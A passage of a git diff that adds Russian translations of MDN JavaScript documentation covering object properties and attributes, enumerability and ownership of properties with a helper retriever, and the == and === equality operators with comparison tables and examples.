+<h2 id="Объекты">Объекты</h2>
+
+<p>В компьютерной терминологии, объект — это значение в памяти, на которое возможно сослаться с помощью {{Glossary("Identifier", "идентификатора")}}.</p>
+
+<h3 id="Свойства">Свойства</h3>
+
+<p>В JavaScript объект может расцениваться как набор свойств. <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">Литеральная инициализация объекта</a> задаёт определённое количество начальных свойств, и в процессе работы приложения поля могут добавляться и удаляться. Значения свойств могут иметь любой тип, включая другие объекты, что позволяет строить сложные, разветвлённые иерархии данных. Каждое свойство объекта идентифицируется ключом, в качестве которого может выступать значение с типом Строка или Символ.</p>
+
+<p>Есть два типа свойств: свойство-значение и свойство-акцессор (свойство, обёрнутое в геттер и сеттер). Они отличаются определенными атрибутами.</p>
+
+<h4 id="Свойство-значение">Свойство-значение</h4>
+
+<p>Ассоциирует ключ со значением, и имеет следующие атрибуты:</p>
+
+<table>
+ <caption>Атрибуты свойства-значения</caption>
+ <tbody>
+  <tr>
+   <th>Атрибут</th>
+   <th>Тип</th>
+   <th>Описание</th>
+   <th>Значение по умолчанию</th>
+  </tr>
+  <tr>
+   <td>[[Value]]</td>
+   <td>Любой тип JavaScript</td>
+   <td>Значение, возвращаемое при обращении к свойству.</td>
+   <td>undefined</td>
+  </tr>
+  <tr>
+   <td>[[Writable]]</td>
+   <td>Boolean</td>
+   <td>Если <code>false</code>, то [[Value]] свойства не может быть изменено.</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td>Boolean</td>
+   <td>Если <code>true</code>, свойство будет перечислено в цикле <a href="/ru/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a>. Смотрите подробнее <a href="/ru/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Перечисляемость и владение свойствами</a>.</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td>Boolean</td>
+   <td>Если <code>false</code>, то свойство не может быть удалено, а его атрибуты, кроме [[Value]] и [[Writable]] не могут быть изменены.</td>
+   <td>false</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <caption>Устаревшие атрибуты (присутствуют в ECMAScript 3, но переименованы в ECMAScript 5)</caption>
+ <tbody>
+  <tr>
+   <th>Атрибут</th>
+   <th>Тип</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td>Read-only</td>
+   <td>Boolean</td>
+   <td>Зарезервировано по атрибуту [[Writable]] ES5.</td>
+  </tr>
+  <tr>
+   <td>DontEnum</td>
+   <td>Boolean</td>
+   <td>Зарезервировано по атрибуту [[Enumerable]] ES5.</td>
+  </tr>
+  <tr>
+   <td>DontDelete</td>
+   <td>Boolean</td>
+   <td>Зарезервировано по атрибуту [[Configurable]] ES5.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Свойство-акцессор">Свойство-акцессор</h4>
+
+<p>Ассоциирует ключ с одной из двух функций-акцессоров (геттер и сеттер) для получения или изменения значения свойства, и имеет следующий атрибуты:</p>
+
+<table>
+ <caption>Атрибуты свойства-акцессора</caption>
+ <tbody>
+  <tr>
+   <th>Атрибут</th>
+   <th>Тип</th>
+   <th>Описание</th>
+   <th>Значение по умолчанию</th>
+  </tr>
+  <tr>
+   <td>[[Get]]</td>
+   <td>Function или undefined</td>
+   <td>Функция вызывается без параметров и возвращает значение свойства каждый раз, когда происходит чтение свойства. Смотрите также <a href="/ru/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a>.</td>
+   <td>undefined</td>
+  </tr>
+  <tr>
+   <td>[[Set]]</td>
+   <td>Function или undefined</td>
+   <td>Функция вызывается с одним аргументом, содержащим присваиваемое значение, каждый раз, когда происходит попытка присвоить свойству новое значение. Смотрите также <a href="/ru/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a>.</td>
+   <td>undefined</td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td>Boolean</td>
+   <td>Если <code>true</code>, свойство будет перечислено в цикле <a href="/ru/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a>.</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td>Boolean</td>
+   <td>Если <code>false</code>, то свойство не может быть удалено, и не может быть преобразовано в свойство-значение.</td>
+   <td>false</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Примечание: </strong>Атрибуты обычно используются движком JavaScript, поэтому вы не можете обратиться к ним напрямую (смотрите подробнее <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty()</a>). Вот почему в таблицах выше они помещены в двойные квадратные скобки вместо одиночных.</p>
+</div>
+
+<h3 id="«Обычные»_объекты_и_функции">«Обычные» объекты и функции</h3>
+
+<p>Объект JavaScript — это таблица соотношений между ключами и значениями. Ключи — это строки (или {{jsxref("Symbol")}}), а значения могут быть любыми. Это делает объекты полностью отвечающими определению <a href="https://ru.wikipedia.org/wiki/%D0%A5%D0%B5%D1%88-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0">хеш-таблицы</a>.</p>
+
+<p>Функции — это обычные объекты, имеющие дополнительную возможность быть вызванными для исполнения.</p>
+
+<h3 id="Даты">Даты</h3>
+
+<p>Для работы с датами служит встроенный глобальный объект <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date</code></a>.</p>
+
+<h3 id="Массивы_общие_и_типизированные">Массивы общие и типизированные</h3>
+
+<p><a href="/ru/docs/JavaScript/Reference/Global_Objects/Array" title="Array">Массив</a> — это обычный объект с дополнительной связью между целочисленными ключами его свойств и специальным свойством length. Вдобавок ко всему, массивы наследуют <code>Array.prototype</code>, предоставляющий исчерпывающий набор методов для манипуляции массивами. Например, метод <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf" title="en/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a></code> (служит для поиска значения в массиве), <code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Array/push" title="en/JavaScript/Reference/Global_Objects/Array/push">push</a></code> (добавляет элемент в конец массива) и т. д. Всё это делает массив идеальным кандидатом для представления списков и перечислений.</p>
+
+<p><a href="/ru/docs/Web/JavaScript/Typed_arrays">Типизированный массив</a> является новинкой ECMAScript Edition 6 и является массивоподобным представлением для лежащего в его основе бинарного буфера памяти. Следующая таблица поможет вам найти соответствующие типы языка C:</p>
+
+<p>{{page("/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "Объекты_TypedArray", "", 0, 3)}}</p>
+
+<h3 id="Коллекции_Maps_Sets_WeakMaps_WeakSets">Коллекции: Maps, Sets, WeakMaps, WeakSets</h3>
+
+<p>Эти наборы данных используют ссылку на объект в качестве ключа, и введены в JavaScript с приходом ECMAScript Edition 6. {{jsxref("Set")}} и {{jsxref("WeakSet")}} являют собой набор уникальных объектов, в то время как {{jsxref("Map")}} и {{jsxref("WeakMap")}} ассоциируют с объектом (выступающим в качестве ключа) некоторое значение. Разница между Map и WeakMap заключается в том, что только у Map ключи являются перечисляемыми. Это позволяет оптимизировать сборку мусора для WeakMap.</p>
+
+<p>Можно было бы написать собственную реализацию Map и Set на чистом ECMAScript 5. Однако, так как объекты нельзя сравнивать на больше или меньше, то производительность поиска в самодельной реализации будет вынужденно линейной. Нативная реализация (включая WeakMap) имеет производительность логарифмически близкую к константе.</p>
+
+<p>Обычно, для привязки некоторых данных к узлу DOM, приходится устанавливать свойства этому узлу непосредственно, либо использовать его атрибуты <code>data-*</code>. Обратной стороной такого подхода является то, что эти данные будут доступны любому скрипту, работающему в том же контексте. Maps и WeakMaps дают возможность приватной привязки данных к объекту.</p>
+
+<h3 id="Структурированные_данные_JSON">Структурированные данные: JSON</h3>
+
+<p>JSON (JavaScript Object Notation) — это легковесный формат обмена данными, происходящий от JavaScript, но используемый во множестве языков программирования. JSON строит универсальные структуры данных. Смотрите {{Glossary("JSON")}} и {{jsxref("JSON")}} для детального изучения.</p>
+
+<h3 id="Больше_объектов_и_стандартная_библиотека">Больше объектов и стандартная библиотека</h3>
+
+<p>JavaScript имеет стандартную библиотеку встроенных объектов. Пожалуйста, обратитесь к <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects">справочнику</a>, чтобы найти описание всех объектов доступных для работы.</p>
+
+<h2 id="Определение_типов_оператором_typeof">Определение типов оператором <code>typeof</code></h2>
+
+<p>Оператор <code>typeof</code> может помочь определить тип вашей переменной. Смотрите <a href="/ru/docs/Web/JavaScript/Reference/Operators/typeof">страницу документации</a>, где приведены его детали и случаи использования.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-8', 'Типы')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-data-types-and-values', 'Типы данных и значения ECMAScript')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'Типы данных и значения ECMAScript')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://github.com/nzakas/computer-science-in-javascript/">Nicholas Zakas, коллекция некоторых классических структур данных и алгоритмов, написанных на JavaScript.</a></li>
+ <li><a href="https://github.com/monmohan/DataStructures_In_Javascript" title="https://github.com/monmohan/DataStructures_In_Javascript">Реализация некоторых структур данных для JavaScript</a></li>
+</ul>
diff --git a/files/ru/web/javascript/enumerability_and_ownership_of_properties/index.html b/files/ru/web/javascript/enumerability_and_ownership_of_properties/index.html
new file mode 100644
index 0000000000..1f529830a9
--- /dev/null
+++ b/files/ru/web/javascript/enumerability_and_ownership_of_properties/index.html
@@ -0,0 +1,243 @@
+---
+title: Enumerability and ownership of properties
+slug: Web/JavaScript/Enumerability_and_ownership_of_properties
+translation_of: Web/JavaScript/Enumerability_and_ownership_of_properties
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>В языке JavaScript свойства объектов могут быть перечисляемыми или неперечисляемыми (встречается вариант перевода: счётные или несчётные). Если внутреннему флагу [[Enumerable]] свойства присвоить значение true, то данное свойство становится перечисляемым. Это происходит по умолчанию для свойств, созданных простым присваиванием или через инициализацию свойств (свойства, определённые через <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a> получают по умолчанию значение флага [[Enumerable]] равным false). Перечисляемые свойства участвуют в итерации в цикле <a href="/ru/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a>, если только имя свойства не <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Символ</a>. Принадлежность свойства определяется тем, принадлежит ли оно непосредственно объекту или получено из цепочки прототипов. Также можно получить весь список свойств объекта. Ниже, в таблице, указаны возможные способы нахождения, получения и итерации свойств объектов. Некоторые из них нельзя использовать без дополнительного кода, примеры которого приведены после таблицы.</p>
+
+<table>
+ <caption>Перечисляемость и принадлежность свойств - встроенные методы определения, получения и итерации</caption>
+ <tbody>
+  <tr>
+   <th>Назначение</th>
+   <th>Свойства объекта</th>
+   <th>Свойства объекта и его прототипов</th>
+   <th>Свойства из цепочки прототипов</th>
+  </tr>
+  <tr>
+   <td>Определение</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Перечисляемые</th>
+       <th scope="col">Неперечисляемые</th>
+       <th scope="col">Перечисляемые и Неперечисляемые</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+       <td><code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code> и !<code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+       <td><code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Недоступно без дополнительного кода</td>
+   <td>Недоступно без дополнительного кода</td>
+  </tr>
+  <tr>
+   <td>Получение</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Перечисляемые</th>
+       <th scope="col">Неперечисляемые</th>
+       <th scope="col">Перечисляемые и Неперечисляемые</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/keys" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys">Object.keys</a></code></td>
+       <td>Получить <code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code>, выбрать свойства, не удовлетворяющие <code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+       <td><code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Недоступно без дополнительного кода</td>
+   <td>Недоступно без дополнительного кода</td>
+  </tr>
+  <tr>
+   <td>Итерация</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Перечисляемые</th>
+       <th scope="col">Неперечисляемые</th>
+       <th scope="col">Перечисляемые и Неперечисляемые</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>Итерация по массиву <code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/keys" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys">Object.keys</a></code></td>
+       <td>Итерация по <code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code>, с выбранными свойствами, не удовлетворяющими <code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+       <td>Итерация по <code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Перечисляемые</th>
+       <th scope="col">Неперечисляемые</th>
+       <th scope="col">Перечисляемые и Неперечисляемые</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code><a href="/ru/docs/JavaScript/Reference/Statements/for...in" title="/en-US/docs/JavaScript/Reference/Statements/for...in">for..in</a></code></td>
+       <td>Недоступно без дополнительного кода</td>
+       <td>Недоступно без дополнительного кода</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Недоступно без дополнительного кода</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступ_к_свойствам_по_их_перечисляемостипринадлежности">Доступ к свойствам по их перечисляемости/принадлежности</h2>
+
+<p>Хотим заметить, что данный алгоритм эффективен не для всех классов.</p>
+
+<ul>
+ <li>Определение свойства:    <code>SimplePropertyRetriever.theGetMethodYouWant(obj).indexOf(prop) &gt; -1</code></li>
+ <li>Итерация:   <code>SimplePropertyRetriever.theGetMethodYouWant(obj).forEach(function (value, prop) {});</code> (or use<code> filter()</code>, <code>map()</code>, etc.)</li>
+</ul>
+
+<pre class="brush: js">var SimplePropertyRetriever = {
+    getOwnEnumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerable);
+         // Или можно использовать for..in, отфильтрованный по hasOwnProperty или проще: return Object.keys(obj);
+    },
+    getOwnNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._notEnumerable);
+    },
+    getOwnEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable);
+        // Или можно использовать: return Object.getOwnPropertyNames(obj);
+    },
+    getPrototypeEnumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerable);
+    },
+    getPrototypeNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._notEnumerable);
+    },
+    getPrototypeEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable);
+    },
+    getOwnAndPrototypeEnumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerable);
+        // Или можно использовать for..in
+    },
+    getOwnAndPrototypeNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._notEnumerable);
+    },
+    getOwnAndPrototypeEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable);
+    },
+    // Private static property checker callbacks
+    _enumerable : function (obj, prop) {
+        return obj.propertyIsEnumerable(prop);
+    },
+    _notEnumerable : function (obj, prop) {
+        return !obj.propertyIsEnumerable(prop);
+    },
+    _enumerableAndNotEnumerable : function (obj, prop) {
+        return true;
+    },
+    // По мотивам http://stackoverflow.com/a/8024294/271577
+    _getPropertyNames : function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) {
+        var props = [];
+
+        do {
+            if (iterateSelfBool) {
+                Object.getOwnPropertyNames(obj).forEach(function (prop) {
+                    if (props.indexOf(prop) === -1 &amp;&amp; includePropCb(obj, prop)) {
+                        props.push(prop);
+                    }
+                });
+            }
+            if (!iteratePrototypeBool) {
+                break;
+            }
+            iterateSelfBool = true;
+        } while (obj = Object.getPrototypeOf(obj));
+
+        return props;
+    }
+};</pre>
+
+<h2 id="Определяемость_свойств">Определяемость свойств</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="row"> </th>
+   <th scope="col"><code>in</code></th>
+   <th scope="col"><code>for..in</code></th>
+   <th scope="col"><code>hasOwnProperty</code></th>
+   <th scope="col"><code>propertyIsEnumerable</code></th>
+   <th scope="col"><code>in Object.keys</code></th>
+   <th scope="col"><code>in Object.getOwnPropertyNames</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Перечисляемые</th>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Неперечисляемые</th>
+   <td>true</td>
+   <td>false</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Унаследованные Перечисляемые</th>
+   <td>true</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <th scope="row">Унаследованные Неперечисляемые</th>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/ru/docs/JavaScript/Reference/Operators/in" title="/en-US/docs/JavaScript/Reference/Operators/in">in</a></code></li>
+ <li><code><a href="/ru/docs/JavaScript/Reference/Statements/for...in" title="/en-US/docs/JavaScript/Reference/Statements/for...in">for..in</a></code></li>
+ <li><code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code></li>
+ <li><code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></li>
+ <li><code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code></li>
+ <li><code><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/keys" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys">Object.keys</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html
new file mode 100644
index 0000000000..fc1ad66e6a
--- /dev/null
+++ b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html
@@ -0,0 +1,424 @@
+---
+title: Операторы сравнения
+slug: Web/JavaScript/Equality_comparisons_and_sameness
+tags:
+  - Равенство
+  - Сравнение
+  - Средний
+translation_of: Web/JavaScript/Equality_comparisons_and_sameness
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<div class="summary">
+<p>JavaScript предоставляет три оператора сравнения величин:</p>
+
+<ul>
+ <li>равенство ("двойное равно") использует <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">==</a>,</li>
+ <li>строгое равенство (или "тройное равно" или "идентично") использует <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">===</a>,</li>
+ <li>и <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> (новшество из ECMAScript 6).</li>
+</ul>
+
+<p>Выбор оператора зависит от типа сравнения, которое необходимо произвести.</p>
+</div>
+
+<p class="syntaxbox">В общих чертах, двойное равно перед сравнением величин производит приведение типов; тройное равно сравнивает величины без приведения (если величины разных типов, вернет <code>false</code>, даже не сравнивая); ну и <code>Object.is</code> ведет себя так же, как и тройное равно, но со специальной обработкой для <code>NaN</code>, <code>-0</code> и <code>+0</code>, возвращая <code>false</code> при сравнении  <code>-0</code> и <code>+0</code>, и <code>true</code> для операции <code>Object.is(NaN, NaN)</code>. (В то время как двойное или тройное равенство вернут <code>false</code> согласно стандарту IEEE 754.) Следует отметить, что все эти различия в сравнениях применимы лишь для примитивов. Для любых не примитивных объектов <code>x</code> и <code>y</code>, которые имеют одинаковые структуры, но представляют собой два отдельных объекта (переменные <code>x</code> и <code>y</code> не ссылаются на один и тот же объект), все операторы сравнения вернут <code>false</code>.</p>
+
+<h2 id="Сравнение_с_использованием">Сравнение с использованием <code>==</code></h2>
+
+<p>Перед сравнением оператор равенства <em>приводит</em> обе величины к общему типу.  После приведений (одного или обоих операндов), конечное сравнение выполняется также как и для <code>===</code>.  Операция сравнения <em>симметрична</em>: <code>A == B</code> возвращает то же значение, что и  <code>B == A</code> для любых значений <code>A</code> и <code>B</code>.</p>
+
+<p>В следующей таблице  приведены результаты сравнения оператора равенства для различных значений:</p>
+
+<table class="standard-table" style="height: 438px; width: 825px;">
+ <thead>
+  <tr>
+   <th scope="row"><code> </code></th>
+   <th colspan="7" scope="col" style="text-align: center;"><code>Операнд B</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"><code> </code></th>
+   <th><code> </code></th>
+   <th style="text-align: center;"><code>Undefined</code></th>
+   <th style="text-align: center;"><code>Null</code></th>
+   <th style="text-align: center;"><code>Number</code></th>
+   <th style="text-align: center;"><code>String</code></th>
+   <th style="text-align: center;"><code>Boolean</code></th>
+   <th style="text-align: center;"><code>Object</code></th>
+  </tr>
+  <tr>
+   <th colspan="1" rowspan="6" scope="row"><code>Операнд A</code></th>
+   <th>
+    <p><code>Undefined</code></p>
+   </th>
+   <td style="text-align: center;"><code><code>true</code></code></td>
+   <td style="text-align: center;"><code><code>true</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <th><code>Null</code></th>
+   <td style="text-align: center;"><code><code>true</code></code></td>
+   <td style="text-align: center;"><code><code>true</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+  </tr>
+  <tr>
+   <th><code>Number</code></th>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>A === B</code></code></td>
+   <td style="text-align: center;"><code><code>A === ToNumber(B)</code></code></td>
+   <td style="text-align: center;"><code><code>A === ToNumber(B)</code></code></td>
+   <td style="text-align: center;"><code><code>A == ToPrimitive(B)</code></code></td>
+  </tr>
+  <tr>
+   <th><code>String</code></th>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>ToNumber(A) === B</code></code></td>
+   <td style="text-align: center;"><code><code>A === B</code></code></td>
+   <td style="text-align: center;"><code><code>ToNumber(A) === ToNumber(B)</code></code></td>
+   <td style="text-align: center;"><code><code>A == ToPrimitive(B)</code></code></td>
+  </tr>
+  <tr>
+   <th><code>Boolean</code></th>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>ToNumber(A) === B</code></code></td>
+   <td style="text-align: center;"><code><code>ToNumber(A) === ToNumber(B)</code></code></td>
+   <td style="text-align: center;"><code><code>A === B</code></code></td>
+   <td style="text-align: center;"><code><code>ToNumber(A) == ToPrimitive(B)</code></code></td>
+  </tr>
+  <tr>
+   <th><code>Object</code></th>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>false</code></code></td>
+   <td style="text-align: center;"><code><code>ToPrimitive(A) == B</code></code></td>
+   <td style="text-align: center;"><code><code>ToPrimitive(A) == B</code></code></td>
+   <td style="text-align: center;"><code><code>ToPrimitive(A) == ToNumber(B)</code></code></td>
+   <td style="text-align: center;"><code><code>A === B</code></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>В таблице выше, ToNumber(A) пытается перед сравнением привести свой аргумент к числу. Такое поведение эквивалентно <code>+A</code> (унарный оператор <code>+</code>).  Если ToPrimitive(A) получает <em>объект</em> в качестве аргумента, то производятся попытки привести его к примитиву, вызывая на нем методы <code>A.toString</code> и <code>A.valueOf</code>.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Традиционно</span><span> (</span><span class="hps">и в соответствии с</span> <span class="hps">ECMAScript</span><span>)</span>, <span class="hps">ни один из объектов</span> <span class="hps">не равен</span> </span><code>undefined</code> или <code>null</code>.  Но большинство браузеров позволяет определенному классу объектов<span id="result_box" lang="ru"><span class="hps"> (в частности,</span> <span class="hps">объектам</span> <code><span class="hps">document.all</span></code> <span class="hps">для любой страницы</span><span>) <em>эмулировать</em> значение </span></span><code>undefined.</code>  Оператор равенства вернёт значение true для <code>null == A</code> и <code>undefined == A</code>, тогда, и только тогда, когда объект эмулирует значение <code>undefined</code>. Во всех остальных случаях объект не может быть равен <code>undefined</code> или <code>null</code>.</p>
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+var b = false;
+
+console.log(num == num); // true
+console.log(obj == obj); // true
+console.log(str == str); // true
+
+console.log(num == obj); // true
+console.log(num == str); // true
+console.log(obj == str); // true
+console.log(null == undefined); // true
+
+// оба false, кроме очень редких случаев
+console.log(obj == null);
+console.log(obj == undefined);
+</pre>
+
+<p>Некоторые разработчики считают, что лучше всегда употреблять оператор <em>строго</em> равенства, вместо сравнения с приведением типов. Результат строгого равенства легче предугадать, да и сравнивая значения, без их приведения, можно получить выигрыш в скорости<code>.</code></p>
+
+<h2 id="Строгое_равенство_с_использованием">Строгое равенство с использованием <code>===</code></h2>
+
+<p>Строгое равно проверяет на равенство две величины, при этом тип каждой из величин перед сравнением не изменяется (не приводится). Если значения имеют различающиеся типы, то они не могут быть равными. С другой стороны все не числовые переменные, принадлежащие одному типу, считаются равными между собой, если содержат одинаковые величины. Ну и, наконец, числовые переменные считаются равными, если они имеют одинаковые значения, либо одна из них <code>+0</code>, а вторая <code>-0</code>. В то же время, если хотя бы одна из числовых переменных содержит значение <code>NaN</code>, выражение вернет <code>false</code>.</p>
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+var b = false;
+
+console.log(num === num); // true
+console.log(obj === obj); // true
+console.log(str === str); // true
+
+console.log(num === obj); // false
+console.log(num === str); // false
+console.log(obj === str); // false
+console.log(null === undefined); // false
+console.log(obj === null); // false
+console.log(obj === undefined); // false
+</pre>
+
